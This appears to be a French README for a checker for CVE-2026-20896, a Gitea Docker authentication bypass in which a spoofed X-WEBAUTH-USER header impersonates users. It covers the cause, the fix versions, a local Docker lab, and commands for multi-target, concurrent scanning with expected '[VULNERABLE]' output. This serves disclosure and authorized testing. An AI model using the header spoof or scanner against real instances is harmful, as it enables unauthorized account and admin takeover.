
CVE-2026-20896 Vérificateur de contournement d'authentification X-WEBAUTH-USER pour Gitea Docker
Opérations de red team / pentest autorisées uniquement.
Ce dépôt contient un vérificateur minimal pour CVE-2026-20896, un contournement d'authentification dans les images Docker officielles de Gitea jusqu'à la version 1.26.2 incluse lorsque l'authentification par proxy inverse est activée.
Les images Docker Gitea concernées étaient livrées avec un modèle app.ini contenant :
REVERSE_PROXY_TRUSTED_PROXIES = *
Lorsqu'un administrateur activait :
ENABLE_REVERSE_PROXY_AUTHENTICATION = true
Gitea faisait confiance à l'en-tête X-WEBAUTH-USER provenant de toute adresse IP capable d'atteindre directement le port HTTP du conteneur. Un client contournant le proxy inverse d'authentification prévu pouvait envoyer un seul en-tête et usurper l'identité d'un utilisateur connu ou devinable.
L'impact pratique est l'usurpation de compte sans authentification. Si l'utilisateur deviné est un administrateur, le pire cas est une prise de contrôle totale au niveau de l'application de l'instance Gitea et de ses dépôts. L'exécution de code à distance sur l'hôte dépend de l'environnement et n'est pas revendiquée par ce vérificateur.
Les versions corrigées commencent à 1.26.3 ; il est recommandé de passer à 1.26.4 ou plus récent.
Le vérificateur :
Powered by Gitea Version: 1.26.4.>= 1.26.3.GET / avec X-WEBAUTH-USER: <username> pour chaque nom d'utilisateur fourni.La version Go prend en charge plusieurs cibles, fichiers de noms d'utilisateurs, concurrence, délais d'attente, sortie JSONL, TLS --insecure, --dry-run et --force.
go build -o gitea-cve-2026-20896-check .
Aucune dépendance Go tierce n'est requise.
Cible unique :
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,gitea_admin,alice
Plusieurs cibles et noms d'utilisateurs :
./gitea-cve-2026-20896-check \
--targets targets.txt \
--user-file users.txt \
--concurrency 64 \
--timeout 8s \
--jsonl
Essai à blanc :
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,alice \
--dry-run
Alternative Bash :
./poc.sh --url http://localhost:3000 --users admin,alice
0 : au moins une usurpation vulnérable a été confirmée1 : aucune usurpation vulnérable n'a été confirmée2 : erreur d'utilisation, d'entrée ou d'exécutionLe laboratoire suivant démarre un conteneur Gitea local affecté et crée un utilisateur de test :
docker run -d --name gitea-cve-2026-20896 \
-p 127.0.0.1:3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git gitea-cve-2026-20896 gitea admin user create \
--username alice \
--password 'longpasswordhere1234' \
--email [email protected] \
--must-change-password=false
./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin
Résultat positif attendu :
[VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"
Nettoyage :
docker rm -f gitea-cve-2026-20896
1.26.3 ou plus récent ; 1.26.4 ou plus récent est préféré.1.26.3 / 1.26.4 : https://blog.gitea.com/release-of-1.26.3-and-1.26.4/